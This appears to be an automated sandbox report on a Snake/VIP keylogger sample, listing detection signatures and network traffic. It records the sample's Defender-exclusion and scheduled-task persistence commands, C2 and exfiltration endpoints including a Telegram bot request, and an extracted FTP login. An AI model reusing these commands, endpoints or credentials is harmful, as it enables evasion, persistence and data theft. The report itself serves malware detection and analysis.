0.2.rShipmentDocuments.exe.44114f8.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e8c3:$a1: get_encryptedPassword 0x72ae3:$a1: get_encryptedPassword 0x2ebe0:$a2: get_encryptedUsername 0x72e00:$a2: get_encryptedUsername 0x2e6d3:$a3: get_timePasswordChanged 0x728f3:$a3: get_timePasswordChanged 0x2e7dc:$a4: get_passwordField 0x729fc:$a4: get_passwordField 0x2e8d9:$a5: set_encryptedPassword 0x72af9:$a5: set_encryptedPassword 0x2ff7a:$a7: get_logins 0x7419a:$a7: get_logins 0x2fedd:$a10: KeyLoggerEventArgs 0x740fd:$a10: KeyLoggerEventArgs 0x2fb42:$a11: KeyLoggerEventArgsEventHandler 0x73d62:$a11: KeyLoggerEventArgsEventHandler
0.2.rShipmentDocuments.exe.44114f8.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2f4e6:$s1: UnHook 0x73706:$s1: UnHook 0x2f4ed:$s2: SetHook 0x7370d:$s2: SetHook 0x2f4f5:$s3: CallNextHook 0x73715:$s3: CallNextHook 0x2f502:$s4: _hook 0x73722:$s4: _hook
Click to see the 51 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\rShipmentDocuments.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\rShipmentDocuments.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\rShipmentDocuments.exe", ParentImage: C:\Users\user\Desktop\rShipmentDocuments.exe, ParentProcessId: 7300, ParentProcessName: rShipmentDocuments.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\rShipmentDocuments.exe", ProcessId: 7488, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZOlmYtPdlO" /XML "C:\Users\user\AppData\Local\Temp\tmp5356.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZOlmYtPdlO" /XML "C:\Users\user\AppData\Local\Temp\tmp5356.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe, ParentImage: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe, ParentProcessId: 7824, ParentProcessName: ZOlmYtPdlO.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZOlmYtPdlO" /XML "C:\Users\user\AppData\Local\Temp\tmp5356.tmp", ProcessId: 8072, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZOlmYtPdlO" /XML "C:\Users\user\AppData\Local\Temp\tmp44A0.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZOlmYtPdlO" /XML "C:\Users\user\AppData\Local\Temp\tmp44A0.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\rShipmentDocuments.exe", ParentImage: C:\Users\user\Desktop\rShipmentDocuments.exe, ParentProcessId: 7300, ParentProcessName: rShipmentDocuments.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZOlmYtPdlO" /XML "C:\Users\user\AppData\Local\Temp\tmp44A0.tmp", ProcessId: 7616, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\rShipmentDocuments.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\rShipmentDocuments.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\rShipmentDocuments.exe", ParentImage: C:\Users\user\Desktop\rShipmentDocuments.exe, ParentProcessId: 7300, ParentProcessName: rShipmentDocuments.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\rShipmentDocuments.exe", ProcessId: 7488, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZOlmYtPdlO" /XML "C:\Users\user\AppData\Local\Temp\tmp44A0.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZOlmYtPdlO" /XML "C:\Users\user\AppData\Local\Temp\tmp44A0.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\rShipmentDocuments.exe", ParentImage: C:\Users\user\Desktop\rShipmentDocuments.exe, ParentProcessId: 7300, ParentProcessName: rShipmentDocuments.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZOlmYtPdlO" /XML "C:\Users\user\AppData\Local\Temp\tmp44A0.tmp", ProcessId: 7616, ProcessName: schtasks.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-11T09:35:20.420242+0200	2803305	3	Unknown Traffic	192.168.2.4	49738	188.114.96.3	443	TCP
2024-10-11T09:35:21.683879+0200	2803305	3	Unknown Traffic	192.168.2.4	49741	188.114.96.3	443	TCP
2024-10-11T09:35:22.078082+0200	2803305	3	Unknown Traffic	192.168.2.4	49742	188.114.96.3	443	TCP
2024-10-11T09:35:23.033039+0200	2803305	3	Unknown Traffic	192.168.2.4	49745	188.114.96.3	443	TCP
2024-10-11T09:35:23.360136+0200	2803305	3	Unknown Traffic	192.168.2.4	49746	188.114.96.3	443	TCP
2024-10-11T09:35:24.346686+0200	2803305	3	Unknown Traffic	192.168.2.4	49749	188.114.96.3	443	TCP
2024-10-11T09:35:29.560790+0200	2803305	3	Unknown Traffic	192.168.2.4	49765	188.114.96.3	443	TCP
2024-10-11T09:35:30.000137+0200	2803305	3	Unknown Traffic	192.168.2.4	49766	188.114.96.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-11T09:35:17.205286+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49733	132.226.247.73	80	TCP
2024-10-11T09:35:19.911334+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49733	132.226.247.73	80	TCP
2024-10-11T09:35:20.642777+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49737	132.226.247.73	80	TCP
2024-10-11T09:35:21.299031+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49739	132.226.247.73	80	TCP
2024-10-11T09:35:21.549600+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49737	132.226.247.73	80	TCP
2024-10-11T09:35:22.814729+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49744	132.226.247.73	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.raw.unpack

Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "FTP", "Username": "Soma@hulonqgroup.com", "Password": "TNwhAkO^1&lZ", "FTP Server": "ftp://185.230.141.85/", "Version": "4.4"}

Multi AV Scanner detection for domain / URL

Source: http://varders.kozow.com:8081	Virustotal: Detection: 14%	Perma Link
Source: http://aborters.duckdns.org:8081	Virustotal: Detection: 13%	Perma Link
Source: http://51.38.247.67:8081/_send_.php?L	Virustotal: Detection: 7%	Perma Link
Source: http://anotherarmy.dns.army:8081	Virustotal: Detection: 17%	Perma Link
Source: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	Virustotal: Detection: 7%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Virustotal: Detection: 37%			Perma Link

Multi AV Scanner detection for submitted file

Source: rShipmentDocuments.exe	Virustotal: Detection: 37%			Perma Link
Source: rShipmentDocuments.exe	ReversingLabs: Detection: 28%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: rShipmentDocuments.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: rShipmentDocuments.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49734 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49740 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49773 version: TLS 1.2

Source: rShipmentDocuments.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 4x nop then jmp 02A3F45Dh	9_2_02A3F2C0
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 4x nop then jmp 02A3F45Dh	9_2_02A3F4AC
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 4x nop then jmp 02A3FC19h	9_2_02A3F961
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 4x nop then jmp 068F31E8h	9_2_068F2DD0
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 4x nop then jmp 068FF661h	9_2_068FF3B8
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 4x nop then jmp 068F0D0Dh	9_2_068F0B30
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 4x nop then jmp 068F1697h	9_2_068F0B30
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 4x nop then jmp 068F2C21h	9_2_068F2970
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 4x nop then jmp 068FE959h	9_2_068FE6B0
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 4x nop then jmp 068FE0A9h	9_2_068FDE00
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	9_2_068F0673
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 4x nop then jmp 068FF209h	9_2_068FEF60
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 4x nop then jmp 068FCF49h	9_2_068FCCA0
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 4x nop then jmp 068F31E8h	9_2_068F2DCA
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 4x nop then jmp 068FD7F9h	9_2_068FD550
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 4x nop then jmp 068FE501h	9_2_068FE258
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 4x nop then jmp 068FEDB1h	9_2_068FEB08
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 4x nop then jmp 068FD3A1h	9_2_068FD0F8
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 4x nop then jmp 068FFAB9h	9_2_068FF810
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	9_2_068F0040
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	9_2_068F0853
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 4x nop then jmp 068FDC51h	9_2_068FD9A8
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Code function: 4x nop then jmp 068F31E8h	9_2_068F3116
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 4x nop then jmp 069C9E1Dh	10_2_069CA0A0
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 4x nop then jmp 0303F45Dh	16_2_0303F2C0
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 4x nop then jmp 0303F45Dh	16_2_0303F4AC
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 4x nop then jmp 0303FC19h	16_2_0303F961
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 4x nop then jmp 06D8F661h	16_2_06D8F3B8
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 4x nop then jmp 06D80D0Dh	16_2_06D80B30
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 4x nop then jmp 06D81697h	16_2_06D80B30
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 4x nop then jmp 06D831E0h	16_2_06D82DC8
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 4x nop then jmp 06D82C19h	16_2_06D82968
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 4x nop then jmp 06D8E959h	16_2_06D8E6B0
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 4x nop then jmp 06D8E501h	16_2_06D8E258
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	16_2_06D80673
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 4x nop then jmp 06D8E0A9h	16_2_06D8DE00
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 4x nop then jmp 06D8F209h	16_2_06D8EF60
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 4x nop then jmp 06D8EDB1h	16_2_06D8EB08
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 4x nop then jmp 06D8D3A1h	16_2_06D8D0F8
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 4x nop then jmp 06D8CF49h	16_2_06D8CCA0
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	16_2_06D80853
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	16_2_06D80040
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 4x nop then jmp 06D8FAB9h	16_2_06D8F810
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 4x nop then jmp 06D831E0h	16_2_06D82DC3
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 4x nop then jmp 06D8DC51h	16_2_06D8D9A8
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 4x nop then jmp 06D8D7F9h	16_2_06D8D550
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Code function: 4x nop then jmp 06D831E0h	16_2_06D8310E

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 10.2.ZOlmYtPdlO.exe.39525c0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.ZOlmYtPdlO.exe.390e1a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rShipmentDocuments.exe.43cd0d8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rShipmentDocuments.exe.44114f8.0.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.4:49205 -> 185.230.141.85:49693

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:301389%0D%0ADate%20and%20Time:%2011/10/2024%20/%2015:40:15%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20301389%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:301389%0D%0ADate%20and%20Time:%2011/10/2024%20/%2015:30:22%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20301389%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: HostingvpsvilleruRU HostingvpsvilleruRU
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49744 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49739 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49737 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49733 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49746 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49741 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49766 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49749 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49738 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49742 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49765 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49745 -> 188.114.96.3:443

Source: unknown

FTP traffic detected: 185.230.141.85:21 -> 192.168.2.4:49204 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 07:35. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 07:35. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 07:35. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 07:35. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49734 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49740 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 185.230.141.85
Source: unknown	TCP traffic detected without corresponding DNS query: 185.230.141.85
Source: unknown	TCP traffic detected without corresponding DNS query: 185.230.141.85
Source: unknown	TCP traffic detected without corresponding DNS query: 185.230.141.85
Source: unknown	TCP traffic detected without corresponding DNS query: 185.230.141.85
Source: unknown	TCP traffic detected without corresponding DNS query: 185.230.141.85
Source: unknown	TCP traffic detected without corresponding DNS query: 185.230.141.85
Source: unknown	TCP traffic detected without corresponding DNS query: 185.230.141.85
Source: unknown	TCP traffic detected without corresponding DNS query: 185.230.141.85
Source: unknown	TCP traffic detected without corresponding DNS query: 185.230.141.85
Source: unknown	TCP traffic detected without corresponding DNS query: 185.230.141.85
Source: unknown	TCP traffic detected without corresponding DNS query: 185.230.141.85
